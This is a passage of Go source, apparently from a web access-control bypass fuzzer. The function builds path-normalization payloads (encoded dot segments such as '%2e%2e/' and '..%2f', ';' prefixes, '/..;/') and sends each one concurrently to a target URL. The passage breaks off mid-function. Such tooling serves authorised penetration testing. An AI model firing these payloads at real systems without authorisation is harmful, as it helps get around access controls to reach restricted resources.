Function requestPathNormalization

cmd/requester.go:3032–3106

(options RequestOptions)

}

func requestPathNormalization(options RequestOptions) {
	parsedURL, err := url.Parse(options.uri)
	if err != nil {
		log.Println(err)
		return
	}

	pathValue := parsedURL.Path
	if pathValue == "" || pathValue == "/" {
		return
	}

	trailingSlash := strings.HasSuffix(pathValue, "/")
	trimmedPath := strings.Trim(pathValue, "/")
	segments := strings.Split(trimmedPath, "/")
	if len(segments) == 0 {
		return
	}

	lastSegment := segments[len(segments)-1]
	basePath := "/"
	if len(segments) > 1 {
		basePath = "/" + strings.Join(segments[:len(segments)-1], "/") + "/"
	}
	query := ""
	if parsedURL.RawQuery != "" {
		query = "?" + parsedURL.RawQuery
	}
	baseURL := parsedURL.Scheme + "://" + parsedURL.Host

	payloads := []string{
		baseURL + basePath + "%2e/" + lastSegment + query,
		baseURL + basePath + ".%2e/" + lastSegment + query,
		baseURL + basePath + "%2e%2e/" + lastSegment + query,
		baseURL + basePath + "..%2f" + lastSegment + query,
		baseURL + basePath + "%2e%2e%2f" + lastSegment + query,
		baseURL + basePath + lastSegment + "/." + query,
		baseURL + basePath + lastSegment + "/%2e" + query,
		baseURL + basePath + ";" + lastSegment + query,
	}
	if trailingSlash {
		payloads = append(payloads, baseURL+basePath+lastSegment+"/..;/"+query)
	}
	payloads = removeDuplicates(payloads)

	w := goccm.New(maxGoroutines)
	p := newProgress("path-normalization", len(payloads))

	for _, payload := range payloads {
		time.Sleep(time.Duration(delay) * time.Millisecond)
		w.Wait()
		go func(payload string) {
			defer w.Done()
			defer p.done()

			resp, err := requestWithRetry(options.method, payload, options.headers, options.proxy, options.rateLimit, options.timeout, options.redirect)
			if err != nil {
				if errors.Is(err, ErrRateLimited) {